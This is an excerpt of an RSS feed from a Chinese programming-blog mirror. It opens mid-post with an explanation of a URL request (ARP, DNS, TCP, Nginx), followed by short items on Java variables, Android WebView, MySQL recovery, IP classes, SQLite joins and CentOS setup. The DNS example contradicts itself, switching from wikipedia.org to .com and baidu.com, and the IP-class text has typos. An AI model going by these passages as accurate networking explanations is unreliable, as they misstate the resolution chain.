在操作系统中，如果以动态方式获取的IP，那么DHCP服务器不仅会给你分配IP，子网掩码，网关，还会给你分配DNS服务器并缓存在操作系统磁盘中。这里以CentOS为例。&#xA;如果动态获取IP，那么DNS服务器列表会缓存在/etc/resolv.conf如果静态配置IP，那么则要手动配置DNS服务器地址，不然不能解析URL。也可以将需要解析的URL所对应的IP写在相应的配置文件中。 而查询DNS服务器也分为两部分：&#xA;DNS服务器与本地主机在同一个网段中，则直接进行ARP查询DNS服务器与本地主机不在同一个网段中，则ARP本地网关，由网关去找寻DNS服务器 ARP 过程 ARP(地址解析协议)，能够在本地广播请求所需要的IP对应的MAC地址。当客户端需要向局域网的某一个主机发送报文时，就需要向局域网每一台主机广播 FF:FF:FF:FF:FF:FF （二进制全1）为地址的报文，询问 192.168.38.11 的MAC地址是什么？(来源于维基百科)。如果 192.168.38.11 所在地址的主机收到消息后则会进行响应，但是这个响应是单播的。 当然，如果DNS服务器与本机在同一个网段则广播的是DNS服务器的MAC地址，如果不在本地则广播的网关的MAC地址。&#xA;当收到网关的ARP响应后，会将DNS请求直接通过UDP协议进行封装后发送给网关，由网关进行转发发送给DNS服务器。&#xA;DNS解析 这里就涉及到DNS: Domain Name System(域名系统)的工作原理了。DNS查询有两种方式：递归和迭代。DNS客户端设置使用的DNS服务器一般都是递归服务器，它负责全权处理客户端的DNS查询请求，直到返回最终结果。而DNS服务器之间一般采用迭代查询方式。&#xA;以查询www.wikipedia.org为例： 客户端发送查询报文”query www.wikipedia.org”至DNS服务器，DNS服务器首先检查自身缓存，如果存在记录则直接返回结果。如果记录老化或不存在，则DNS服务器向根域名服务器发送查询报文”query wikipedia.org”，根域名服务器返回.org域的权威域名服务器地址，这一级首先会返回的是顶级域名的权威域名服务器。DNS服务器向 .com 域的权威域名服务器发送查询报文”query www.wikipedia.org”，得到.wikipedia.org域的权威域名服务器地址。DNS服务器向.baidu.com域的权威域名服务器发送查询报文”query www.baidu.com”，得到主机www的A记录，存入自身缓存并返回给客户端。 以上就是域名服务器之间迭代的过程。这是基于504个全球范围的“根域名服务器”（分成13组，分别编号为A至M）。从这504个根服务器开始，余下的Internet DNS命名空间被委托给其他的DNS服务器，这些服务器提供DNS名称空间中的特定部分(来自维基百科)。&#xA;内核协议栈 当浏览器得到了目标的IP地址后，会与服务器进行TCP/IP三次握手建立TCP/IP的持久连接。这里不做过多的描述，网上这样的信息太多。以建立TCP/IP连接之后为基础，首先在本地通过HTTP协议生成一个请求报文。 请求报文由方法，URL，HTTP版本和HTTP首部字段等构成；&#xA;通用首部(General)是请求与响应首部都会用到的首部，如请求方法，请求URL，响应状态码，请求的远程地址，首部用来监管哪些访问来源信息等。&#xA;在请求首部中，通常都会加上请求的附加内容(浏览器所支持的媒体类型，编码格式)，客户端的信息，响应内容相关的优先级等信息。&#xA;当请求报文生成后，会发生以下操作：&#xA;用户空间：&#xA;浏览器进程会调用socket函数对象，创建套接字，通过socket函数绑定套接字通过调用sendto函数，将用户空间内存中的数据一点一点发送至内核空间 内核：&#xA;浏览器将请求报文下发送至传输层，传输层会将报文封装成TCP段，加上目标端口与源端口。源端口是由内核随机选取的一个动态端口。报文从传输层下发至网络层，会将报文封装成数据包，在外面加上目标IP与源IP。并选择路由。报文从网络层下发至数据链路层，会将报文封装成帧，在外面加上目标MAC与源MAC当报文到达链路层之后会通过网卡驱动将数据包发送到网卡的发送队列中，通过中断通知网卡发送数据包 服务器&#xA;服务器端的网卡收到报文后，通过网卡驱动将数据包发送至内核中，内核通过一层一层解析，通过socket套接字与端口送达至监听在该端口的进程。&#xA;服务器端监听的的程序如果是Linux，则一般为Apache和Nginx，如果是Windows则为IIS。这里以Nginx为例。&#xA;Nginx接收到客户端的动态请求，会将该请求转发至后端的Perl/PHP/Python/Ruby..中去执行，如果需要调用数据内容则可能去后端的数据库中取数据，执行完成之后将执行结果发送至Nginx。(这里可能不完整，但是这不是讲解的集群，所以不在这里做过多的解释)如果是静态请求，则会转发至后端的专门的静态服务器中。如果缓存中有数据，则会直接从缓存中取数据。如果缓存中没有数据，那么如果是关系型数据，则会去数据库中取，如果是图片或者其他非关系型数据库，则会去对应的共享存储中取。 服务器端在第一次请求返回的数据一般都是一个整体的html框架，里面的所有数据，包括图片、html文档、txt文档、css样式等等所有的东西都是以链接的形式呈现在浏览器中(当然，网站的logo，或者其他重要数据或者图片可能在第一次就已经发送过来了)，浏览器进行分析后再次去向相应的服务器发送请求，当然，这里的服务器可能是一个完整的集群。一般现在的浏览器都是多线程的，可以并发去请求。根据带宽的不同，浏览器的不同以及服务器端的响应速度的不同，一般请求在3-5s就会在浏览器中将请求页面呈现出来。如果有缓存(浏览器或者服务器端)可能会更快。所以，这些过程对于用户来说就是那么几秒钟的事情，但是背后的机制却是无比复杂。&#xA;以上便是我所理解的一次URL请求过程，其中有一些不详细或者有误的过程，如函数调用，内核协议栈，中断处理上。以后有充分的认识之后会不断完善。&#xA;–end–</description>
    </item>
    <item>
      <title>java中的局部变量和全局变量</title>
      <link>https://bchobby.github.io/posts/58214e4ab3d6ad6f650ae1afc0576344/</link>
      <pubDate>Fri, 18 Aug 2017 15:09:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58214e4ab3d6ad6f650ae1afc0576344/</guid>
      <description>Java变量 java中主要有如下几种类型的变量： 一、局部变量 只在特定的过程或函数中可以访问的变量，被称为局部变量。&#xA;与局部变量相对应的，是全局变量。&#xA;全局变量就是从定义的位置起，作用域覆盖整个程序范围的变量。&#xA;局部变量可以和全局变量重名，但是局部变量会屏蔽全局变量。在函数内引用这个变量时，会用到同名的局部变量，而不会用到全局变量。&#xA;一旦退出方法，构造函数或块中的变量将被销毁。&#xA;访问修饰符不能用于局部变量。&#xA;局部变量在堆栈级别内部实现。&#xA;局部变量要先赋值，再进行运算，而实例变量均已经赋初值。（这是局部变量和实例变量的一大区别）&#xA;二、全局变量（成员变量） 其中实例变量、类变量、常量都是属于成员变量的，成员变量又被称为全局变量&#xA;java类的成员变量有俩种：一种是被static关键字修饰的变量，叫类变量或者静态变量；另一种没有static修饰，为实例变量。&#xA;在语法定义上的区别：静态变量前要加static关键字，而实例变量前则不加。&#xA;在程序运行时的区别：&#xA;（1）实例变量属于某个对象的属性，必须创建了实例对象，其中的实例变量才会被分配空间，才能使用这个实例变量。&#xA;（2）静态变量不属于某个实例对象，而是属于类，所以也称为类变量，只要程序加载了类的字节码，不用创建任何实例对象，静态变量就会被分配空间，静态变量就可以被使用了。&#xA;（3）总之，实例变量必须创建对象后才可以通过这个对象来使用，静态变量则可以直接使用类名来引用。&#xA;静态变量均有默认值，数字默认为0，布尔值默认为false，对象默认为null&#xA;/**&#xD;* 此段代码来自于JavaSE知识库&#xD;*/&#xD;public class TestTwo {&#xD;//以下四个变量都是成员变量（全局变量）&#xD;int num ; //属于基本数据类型的实例变量&#xD;Integer obj ; //属于引用数据类型的实例变量&#xD;static char ch = &#39;A&#39;; //类变量（静态变量）&#xD;final double constant= 12.6; //属于常量的实例变量&#xD;public void display(){&#xD;//以下两个属于该方法的局部变量，必须先赋值才能使用，作用范围仅限于函数体之内&#xD;int age = 1;&#xD;String name = &#34;Tom&#34;;&#xD;System.out.println(&#34;name:&#34;+name+&#34;;age: &#34;+age);&#xD;}&#xD;public static void main(String[] args){&#xD;System.out.println(num); //这句会报错，因为num变量属于实例变量，只有将Test实例化之后才能使用&#xD;System.</description>
    </item>
    <item>
      <title>android 7.0 浏览器 拦截适配 shouldOverrideUrlLoading</title>
      <link>https://bchobby.github.io/posts/a272e6662c472515c1164810774c67bf/</link>
      <pubDate>Wed, 16 Aug 2017 15:53:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a272e6662c472515c1164810774c67bf/</guid>
      <description>浏览器使用第三方开源github框架：&#xA;//浏览器 https://github.com/Justson/AgentWeb compile &#39;com.just.agentweb:agentweb:1.2.6&#39; 7.0路径拦截存在适配问题shouldOverrideUrlLoading会分别访问不同参数的同一方法: 7.0以上系统访问 @TargetApi(Build.VERSION_CODES.LOLLIPOP) @Override public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) 7.0以下系统访问@Override public boolean shouldOverrideUrlLoading(WebView view, String url) 具体例如下：public class MessageFragment extends Fragment { View view; @Bind(R.id.setting) TextView setting; @Bind(R.id.userInfo) TextView userInfo; @Bind(R.id.rootPr) RelativeLayout rootPr; private AgentWeb mAgentWeb; public String url; private boolean isGoToLogin = false; private long currentMillTime = 0; public static MessageFragment newInstance() { MessageFragment mFragment = new MessageFragment(); Bundle bundle = new Bundle(); mFragment.</description>
    </item>
    <item>
      <title>提取PDF内容保存到Excel--Python实现</title>
      <link>https://bchobby.github.io/posts/cb3a9b6e3b52518f0c3ad5a3b454ed70/</link>
      <pubDate>Wed, 16 Aug 2017 09:04:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb3a9b6e3b52518f0c3ad5a3b454ed70/</guid>
      <description>摘要：最近需要将一批PDF文件中的某些数据整理到Excel中，因为文件数量接近20w+，手动更新几乎不现实，于是就提取关键词和内容动手写了个Python小工具，以实现自动完成上述目标。&#xA;作者博客地址：http://www.yooongchun.com/&#xA;表格提取软件，发票管理、发票查验，请下载：表格提取、发票查验 注意：如果是提取PDF发票内容，请参考这篇文章：https://blog.csdn.net/zyc121561/article/details/80933496 如果是提取表格内容，请参看这篇文章：https://blog.csdn.net/zyc121561/article/details/82860316&#xA;要求：&#xA;读取PDF文件找到特定关键字，然后读取其对应的数值提取出来在Excel中查找对应关键字，然后在对应位置把上面提取出来的内容填进去 基本实现过程：&#xA;遍历文件夹，按照特定的要求找出指定类型的PDF文件解析PDF文件提取指定内容和对应值更新数据到Excel 所需工具：&#xA;解析PDF文件的模块：pdfminer操作Excel的模块：xlwt、xlrd、xlutils 注意：要在一个已经存在的Excel中写入数据需要配合xlutils使用，即先copy一个Excel对象，在该对象中进行写入，最后删除原对象而保存copy出来的对象 io操作：os模块匹配PDF文件：re模块 代码实现：&#xA;首先，把手工配置好的要求信息读入，主要包括各种文件提取规则，提取内容和文件的读写路径&#xA;#加载配置文件 def loadSettingFile(KEYWORDS_Path): logging.info(&#39;&amp;gt;&amp;gt;&amp;gt;Loading setting file:%s&#39;%os.path.basename(KEYWORDS_Path)) PathList={}#储存路径列表 with open(KEYWORDS_Path,&#39;r&#39;) as fp: lines_kw=fp.readlines() for line in lines_kw: line=line.rstrip(&#39;\n&#39;)#删除行尾的换行符 if re.match(r&#39;^#&#39;,line):#注释内容，忽略 pass else: Type,Path=line.split(&#39;=&#39;) #获得路径 PathList[Type]=Path logging.info(&#39;&amp;gt;&amp;gt;&amp;gt;Content:\n %s&#39;%PathList) logging.info(&#39;&amp;gt;&amp;gt;&amp;gt;Loading setting file done!&#39;) return PathList 接着需要把刚才读入的规则按照特定的格式抽取出来&#xA;#提取关键词内容和值 def extractKW(strKW): # 把关键词内容按照文本和数字进行分割 logging.info(&#39;&amp;gt;&amp;gt;&amp;gt;Extracting key words and values from %s&#39;%strKW) kw = strKW.split(&#39;;&#39;) key_value = {} # 储存关键词、数据位置及列位置 for kv in kw: key_value[kv.</description>
    </item>
    <item>
      <title>MySQL之——崩溃-修复损坏的innodb：innodb_force_recovery</title>
      <link>https://bchobby.github.io/posts/6beab37786f6e697e13b3d3cedf1402b/</link>
      <pubDate>Tue, 15 Aug 2017 19:59:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6beab37786f6e697e13b3d3cedf1402b/</guid>
      <description>转载请注明出处：http://blog.csdn.net/l1028386804/article/details/77199194&#xA;一、问题描述 今天在线运行的一个mysql崩溃了。&#xA;查看错误日志，如下：&#xA;----------------------------------------- 161108 11:36:45 mysqld_safe Starting mysqld daemon with databases from /usr/local/mysql/var 2017-08-15 11:36:46 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server option (see documentation for more details). 2017-08-15 11:36:46 5497 [Note] Plugin &#39;FEDERATED&#39; is disabled. 2017-08-15 11:36:46 7f11c48e1720 InnoDB: Warning: Using innodb_additional_mem_pool_size is DEPRECATED. This option may be removed in future releases, together with the option innodb_use_sys_malloc and with the InnoDB&#39;s internal memory allocator.</description>
    </item>
    <item>
      <title>建立bond的几种参数</title>
      <link>https://bchobby.github.io/posts/0647549f1908c10761e8616d39869b0e/</link>
      <pubDate>Tue, 15 Aug 2017 19:46:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0647549f1908c10761e8616d39869b0e/</guid>
      <description>具体的参数列表： 1）primay 指定哪个slave成为主设备（primary device），取值为字符串，如eth0，eth1等。只要指定的设备可用，它将一直是激活的slave。只有在主设备（primary device）断线时才会切换设备。这在希望某个slave设备优先使用的情形下很有用，比如，某个slave设备有更高的吞吐率 注意： primary选项只对active-backup模式有效&#xA;2）updelay 指定当发现一个链路恢复时，在激活该链路之前的等待时间，以毫秒计算。该选项只对miimon链路侦听有效。updelay应该是miimon值的整数倍，如果不是，它将会被向下取整到最近的整数。缺省值为0&#xA;3）arp_interval 指定ARP链路监控频率，单位是毫秒(ms)。如果APR监控工作于以太兼容模式（模式0和模式2）下，需要把switch(交换机)配置为在所有链路上均匀的分发网络包。如果switch(交换机)被配置为以XOR方式分发网络包，所有来自ARP目标的应答将会被同一个链路上的其他设备收到，这将会导致其他设备的失败。ARP监控不应该和miimon同时使用。设定为0将禁止ARP监控。缺省值为0&#xA;4）arp_ip_target 指定一组IP地址用于ARP监控的目标，它只在arp_interval &amp;gt; 0时有效。这些IP地址是ARP请求发送的目标，用于判定到目标地址的链路是否工作正常。该设定值为ddd.ddd.ddd.ddd格式。多个IP地址通过逗号分隔。至少指定一个IP地址。最多可以指定16个IP地址。缺省值是没有IP地址&#xA;5）downdelay 指定一个时间，用于在发现链路故障后，等待一段时间然后禁止一个slave，单位是毫秒(ms)。该选项只对miimon监控有效。downdelay值应该是miimon值的整数倍，否则它将会被取整到最接近的整数倍。缺省值为0&#xA;6）lacp_rate 指定在802.3ad模式下，我们希望的链接对端传输LACPDU包的速率。可能的选项： （1）slow 或者 0 请求对端每30s传输LACPDU （2）fast 或者 1 请求对端每1s传输LACPDU （3）缺省值是slow&#xA;7）max_bonds 为bonding驱动指定创建bonding设备的数量。比如：如果max_bonds为3，而且bonding驱动还没有加载，那么bond0，bond1，bond2将会被创建。缺省值为1&#xA;6）miimon 指定MII链路监控频率，单位是毫秒(ms)。这将决定驱动检查每个slave链路状态频率 0表示禁止MII链路监控。100可以作为一个很好的初始参考值。下面的use_carrier选项将会影响如果检测链路状态。更多的信息可以参考“高可靠性”章节。缺省值为0&#xA;8）mode 指定bonding的策略。缺省是balance-rr （round robin，循环赛）。可选的mode包括：0，1，2，3，4，5，6&#xA;转自：http://blog.csdn.net/youlang2010/article/details/20462301</description>
    </item>
    <item>
      <title>IP地址的划分及其范围</title>
      <link>https://bchobby.github.io/posts/6078efa088dd2fa25b6fe2cf0bd2cec7/</link>
      <pubDate>Mon, 14 Aug 2017 18:43:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6078efa088dd2fa25b6fe2cf0bd2cec7/</guid>
      <description>IP地址分为A、B、C、D、E5类。常用的是B和C两类。 最初设计互联网络时，为了便于寻址以及层次化构造网络，每个IP地址包括两个标识码（ID），即网络ID和主机ID。同一个物理网络上的所有主机都使用同一个网络ID，网络上的一个主机（包括网络上工作站，服务器和路由器等）有一个主机ID与其对应。Internet委员会定义了5种IP地址类型以适合不同容量的网络，即A类~E类。 一、A类IP地址 1、一个A类IP地址是指， 在IP地址的四段号码中，第一段号码为网络号码，剩下的三段号码为本地计算机的号码。如果用二进制表示IP地址的话，A类IP地址就由1字节的网络地址和3字节主机地址组成，网络地址的最高位必须是“0”。A类IP地址中网络的标识长度为7位，主机标识的长度为24位，A类网络地址数量较少，可以用于主机数达1600多万台的大型网络。 2、A类IP地址 地址范围1.0.0.1-126.255.255.254（二进制表示为：00000001 00000000 00000000 00000001 - 01111110 11111111 11111111 11111110）。 3、A类IP地址的子网掩码为255.0.0.0，每个网络支持的最大主机数为256的3次方-2=16777214台。 二、B类IP地址　1、一个B类IP地址是指，在IP地址的四段号码中，前两段号码为网络号码。如果用二进制表示IP地址的话，B类IP地址就由2字节的网络地址和2字节主机地址组成，网络地址的最高位必须是“10”。B类IP地址中网络的标识长度为14位，主机标识的长度为16位，B类网络地址适用于中等规模的网络，每个网络所能容纳的计算机数为6万多台。 2、B类IP地址地址范围128.1.0.1-191.254.255.254（二进制表示为：10000000 00000001 00000000 00000001 - 10111111 11111110 11111111 11111110）。 3、B类IP地址的子网掩码为255.255.0.0，每个网络支持的最大主机数为256的2次方-2=65534台　三、C类IP地址　1、一个C类IP地址是指，在IP地址的四段号码中，前三段号码为网络号码，剩下的一段号码为本地计算机的号码。如果用二进制表示IP地址的话，C类IP地址就由3字节的网络地址和1字节主机地址组成，网络地址的最高位必须是“110”。C类IP地址中网络的标识长度为21位，主机标识的长度为8位，C类网络地址数量较多，适用于小规模的局域网络，每个网络最多只能包含254台计算机。 2、C类IP地址范围192.0.1.1-223.255.254.254（二进制表示为: 11000000 00000000 00000001 00000001 - 11011111 11111111 11111110 11111110）。 3、C类IP地址的子网掩码为255.255.255.0，每个网络支持的最大主机数为256-2=254台 四、除了以上三种类型的IP地址外，还有几种特殊类型的IP地址。 1、TCP/IP协议规定，凡IP地址中的第一个字节以“lll0”开始的地址都叫多点广播地址。因此，任何第一个字节大于223小于240的IP地址是多点广播地址； 2、IP地址中的每一个字节都为0的地址（“0.0.0.0”）对应于当前主机； 3、IP地址中的每一个字节都为1的IP地址（“255．255．255．255”）是当前子网的广播地址； 4、IP地址中凡是以“llll0”的地址都留着将来作为特殊用途使用； 5、IP地址中不能以十进制“127”作为开头，该类地址中数字127．0．0．1到127．1．1．1用于回路测试，如：127.0.0.1可以代表本机IP地址，用“http://127.0.0.1”就可以测试本机中配置的Web服务器。网络ID的第一个6位组也不能全置为“0”，全“0”表示本地网络。 6、D类IP地址第一个字节以“1110”开始，它是一个专门保留的地址。它并不指向特定的网络，目前这一类地址被用在多点广播（Multicast）中。多点广播地址用来一次寻址一组计算机，它标识共享同一协议的一组计算机。地址范围224.0.0.1-239.255.255.254 。 7、E类IP地址以“11110”开始，保留用于将来和实验使用。&#xA;总：A:0-127 B:128-191 C:192-223 D:224-239 E:240-255&#xA;转自：https://zhidao.baidu.com/question/35773698.html</description>
    </item>
    <item>
      <title>sqlite 多表查询，连接 join</title>
      <link>https://bchobby.github.io/posts/e019cc8917182d057a95b7d881c5bb11/</link>
      <pubDate>Mon, 14 Aug 2017 17:33:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e019cc8917182d057a95b7d881c5bb11/</guid>
      <description>多表查询方法：&#xA;网上有篇文章介绍了这么一种方法：&#xA;//不建议 select table1.abc from table1,table2 where table1.xxx=table2.xxx; 12 12 实测了一下，这种方法的复杂度是join关键字的几何级倍数，用join的关键语句如下&#xA;select table1.abc from table1 inner join table2 on table1.xxx=table2.xxx; 1 1 其中join有三种用法： left join(左联接) 返回包括左表中的所有记录和右表中联结字段相等的记录 right join(右联接) 返回包括右表中的所有记录和左表中联结字段相等的记录 inner join(等值连接) 只返回两个表中联结字段相等的行&#xA;举例如下：&#xA;表A记录如下： aID　aNum 1　a20050111 2　a20050112 3　a20050113 4　a20050114 5　a20050115&#xA;表B记录如下: bID　bName 1　2006032401 2　2006032402 3　2006032403 4　2006032404 8　2006032408&#xA;1.left join sql语句如下: select * from A left join B on A.</description>
    </item>
    <item>
      <title>office转换为html在线预览</title>
      <link>https://bchobby.github.io/posts/4caad035d0acd0ee14b2171a17690d0b/</link>
      <pubDate>Sat, 12 Aug 2017 18:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4caad035d0acd0ee14b2171a17690d0b/</guid>
      <description>/// &amp;lt;summary&amp;gt; /// word 转换为html /// &amp;lt;/summary&amp;gt; /// &amp;lt;param name=&#34;path&#34;&amp;gt;要转换的文档的路径&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;savePath&#34;&amp;gt;转换成的html的保存路径&amp;lt;/param&amp;gt; /// &amp;lt;param name=&#34;wordFileName&#34;&amp;gt;转换后html文件的名字&amp;lt;/param&amp;gt; private void WordToHtml(string path, string savePath, string wordFileName) { Word.ApplicationClass word = new Word.ApplicationClass(); Type wordType = word.GetType(); Word.Documents docs = word.Documents; Type docsType = docs.GetType(); Word.Document doc = (Word.Document)docsType.InvokeMember(&#34;Open&#34;, System.Reflection.BindingFlags.InvokeMethod, null, docs, new Object[] {(object)path, true, true }); Type docType = doc.GetType(); string strSaveFileName = savePath + wordFileName + &#34;.html&#34;; object saveFileName = (object)strSaveFileName; docType.</description>
    </item>
    <item>
      <title>三态门详解</title>
      <link>https://bchobby.github.io/posts/c0f2b777de14dbe09df0bb9cb2bec7e9/</link>
      <pubDate>Thu, 10 Aug 2017 13:35:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0f2b777de14dbe09df0bb9cb2bec7e9/</guid>
      <description>在FPGA中三态门比较常见，因为FPGA是做为一个高速处理的器件，免不了要进行输入输出数据，常规的输入和输出是分开的两个接口要不停的切换比较麻烦，在FPGA中用的双向口一般都是用三态门来作为输入和输出的，这样优点是只要一个接口就可以输入输出比较节约逻辑资源，但缺点是三态门的处理没有常规两个I/O的方便，这里我们来看看怎样使用三态门，下图是三态门的结构。&#xA;当sda_en为高时SDA作为输出口，输出sda_out的数据，当sda_en为低时三态门是处于高阻态，这时三态门是作为输入口使用，这时输入的数据为SDA的数据。&#xA;下面是用vivado 写的一段程序，当做为输出时将我们产生的clk_out的频率输出，代码如下。&#xA;module stm ( i_clk, i_rst_n, SDA ); input i_clk; input i_rst_n; inout SDA;&#xA;reg sda_en; reg sda_out; reg [9:0] cnt; reg clk_out;&#xA;always@(posedge i_clk or negedge i_rst_n) if(i_rst_n==1&#39;b0) cnt &amp;lt;= 10&#39;d0; else if(cnt==10&#39;d999) cnt &amp;lt;= 10&#39;d0; else cnt &amp;lt;= cnt + 1&#39;b1; always@(posedge i_clk or negedge i_rst_n) if(i_rst_n==1&#39;b0) clk_out &amp;lt;= 1&#39;b0; else if(cnt==10&#39;d999) clk_out &amp;lt;= ~clk_out; always@(posedge i_clk or negedge i_rst_n) if(i_rst_n==1&#39;b0)begin sda_out &amp;lt;= 1&#39;b0; sda_en &amp;lt;= 1&#39;b1; end else begin sda_out &amp;lt;= clk_out; sda_en &amp;lt;= 1&#39;b1; //这里为1表示作为输出口使用 end</description>
    </item>
    <item>
      <title>canvas.drawImage()的图片缓存问题</title>
      <link>https://bchobby.github.io/posts/f86f738e2109d10d327b5a348b156bb2/</link>
      <pubDate>Wed, 09 Aug 2017 10:45:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f86f738e2109d10d327b5a348b156bb2/</guid>
      <description>之后再填坑&#xA;之后再填坑&#xA;之后再填坑</description>
    </item>
    <item>
      <title>python函数编程SyntaxError: non-default argument follows default argument</title>
      <link>https://bchobby.github.io/posts/c875708134de29abe347c431bff82676/</link>
      <pubDate>Tue, 08 Aug 2017 16:00:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c875708134de29abe347c431bff82676/</guid>
      <description> SyntaxError: non-default argument follows default argument&#xA;解决办法：如果一个函数的参数中含有默认参数，则这个默认参数后的所有参数都必须是默认参数 。&#xA;def run(name,age=10,sex): print name ,age ,sex SyntaxError: non-default argument follows default argument </description>
    </item>
    <item>
      <title>高德地图实现多点标注marker和动态信息窗体</title>
      <link>https://bchobby.github.io/posts/4c6cc07849543346b85d5f6334100881/</link>
      <pubDate>Sat, 05 Aug 2017 09:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c6cc07849543346b85d5f6334100881/</guid>
      <description>先说一下项目对地图的需求：在后台新增地图管理模块，要求，每一辆车都在地图上有标注，而且点击标注时要显示出车辆的相关信息，比如车牌和车辆的当前状态。&#xA;下图就是实现的效果。&#xA;当然从高德地图api也能查看到这一块，比如多点标注，简单信息窗体，这些都有api,可以先看官网的，然后，再看我这篇文章，怎么融合一起，记住数据全部来自后台数据库，这样才能保证一切数据都是动态的，可实时更新的。&#xA;首先，定义map,渲染出基础的地图。&#xA;var map = new AMap.Map(&#39;container&#39;, { resizeEnable: true, zoom: 5 }); center我就暂时没有定义会自动定位IP的地址获取中心点。接下里需要清除障碍物，全局几个变量， map.clearMap(); var markers = []; var infoWindow; 好的，接下里开始请求数据，数据主要包括坐标点和信息窗体要展示的参数，比如我的有车辆的运单号和车辆状态，车牌号等参数。 $.ajax({ url : &#34;eos_TranOrderFollowing/mapcartrans.do&#34;, type : &#34;get&#34;, dataType : &#34;json&#34;, success : function(e) { // var data=[{&#34;fLong&#34;:&#39;112.00003&#39;,&#39;fLati&#39;:&#39;38.2345&#39;},{&#34;fLong&#34;:&#39;115.00003&#39;,&#39;fLati&#39;:&#39;38.2345&#39;},{&#34;fLong&#34;:&#39;114.00003&#39;,&#39;fLati&#39;:&#39;38.2345&#39;},{&#34;fLong&#34;:&#39;116.00003&#39;,&#39;fLati&#39;:&#39;38.2345&#39;}]; // e.data = data; var marker;&#x9;for(var i=0 ; i&amp;lt; e.data.length;i++){ var jfong=[ e.data[i].fLong,e.data[i].fLati];&#x9;marker = new AMap.Marker({ position: jfong, zIndex: 101, map:map });&#x9;console.log(e.data[3]);&#x9;marker.setMap(map);&#x9;marker.orderON=e.data[i].orderON; marker.tranOFID=e.data[i].tranOFID; marker.</description>
    </item>
    <item>
      <title>常见知识点</title>
      <link>https://bchobby.github.io/posts/604f636332e95e291c491f0edb4c234a/</link>
      <pubDate>Fri, 04 Aug 2017 23:13:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/604f636332e95e291c491f0edb4c234a/</guid>
      <description> 账户无密切换：https://jingyan.baidu.com/article/a17d5285268e958099c8f257.html </description>
    </item>
    <item>
      <title>centos 7.9 minimal 镜像下载与安装到vmware</title>
      <link>https://bchobby.github.io/posts/408a2464b279955b4d1bc91bfdd18c04/</link>
      <pubDate>Thu, 03 Aug 2017 15:53:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/408a2464b279955b4d1bc91bfdd18c04/</guid>
      <description>centos 7.9 minimal 下载地址&#xA;https://mirrors.aliyun.com/centos/7.9.2009/isos/x86_64/CentOS-7-x86_64-Minimal-2009.iso&#xA;查看版本号&#xA;[root@node1 ~]# cat /etc/centos-release CentOS Linux release 7.9.2009 (Core) 安装界面进行如下设置, 那么直接 ip addr 就可以看到ip(yum install net-tools.x86_64, 注意要输2个 y, 安装完毕后， 可以用 ifconfig -a 来查看网卡ip), 无需手动设置ens33&#xA;如何克隆多个呢? node1 node2 node3, ip也是直接可用的, so easy.直接用xshell连接就ok了&#xA;Linux系统修改root用户密码的命令 xshell 连接上后， 输入 passwd，输入新密码即可&#xA;centos创建普通用户，并分配密码&#xA;xshell常用基本清屏命令是： clear或者ctrl+L 但是这个并没有彻底清屏，鼠标往上拉，还是有的 Linux 服务管理两种方式service(centsos6.8以后)和systemctl(centso7及以后)&#xA;minimal镜像只有命令行界面，安装过程最好连接到Internet(先选择为桥接,后期安装成功了,改回到NAT)，原因是有一些包要通过yum源下载安装。&#xA;具体安装步骤如下:&#xA;新建一个典型的VMware虚拟机,选择稍后安装centOS,点击编辑虚拟机,在CD/DVD选择centOS镜像,选择网络连接为桥接(桥接下面的勾不用打),启动,点击开机画面的第一行直接回车.安装完毕后,将网络连接恢复到NAT,&#xA;输入root,密码 123456就可以登录成功了 l是我的计算机名称&#xA;解决安装centos6.8没有网卡ip的问题&#xA;cd /etc/sysconfig/network-scripts/&#xA;vi ifcfg-eth0 不同文件略有不同, 将ONBOOT=no改为yes&#xA;重启网络服务：# service network restart&#xA;centos 安装后没有网络 也就是没有IP地址_xiaoxin0630的博客-CSDN博客_centos 没有局域网ip</description>
    </item>
    <item>
      <title>idea 行号栏太宽以及显示一些图标问题解决</title>
      <link>https://bchobby.github.io/posts/af79f734cdbee61db70a2291f0b0a9fe/</link>
      <pubDate>Thu, 03 Aug 2017 13:43:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af79f734cdbee61db70a2291f0b0a9fe/</guid>
      <description>注意:如下设置之后,你打的断点就无法看到那个小红点了,最后会给出解决方案 如图 解决方案：&#xA;file--&amp;gt;settings--&amp;gt;editor--&amp;gt;gutter icons--&amp;gt;取消到show gutter icons 选项就ol! 解决不出现断点的小红点的方法就是继续选择show gutter icons,但是下边的,不想让出现的图标的对号去掉,目前发现的解决办法,谁有更好的给评论一下</description>
    </item>
    <item>
      <title>echarts折线图时间轴展示</title>
      <link>https://bchobby.github.io/posts/1fa8952a294617042aaf2e3dd04cb6a7/</link>
      <pubDate>Thu, 03 Aug 2017 09:06:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fa8952a294617042aaf2e3dd04cb6a7/</guid>
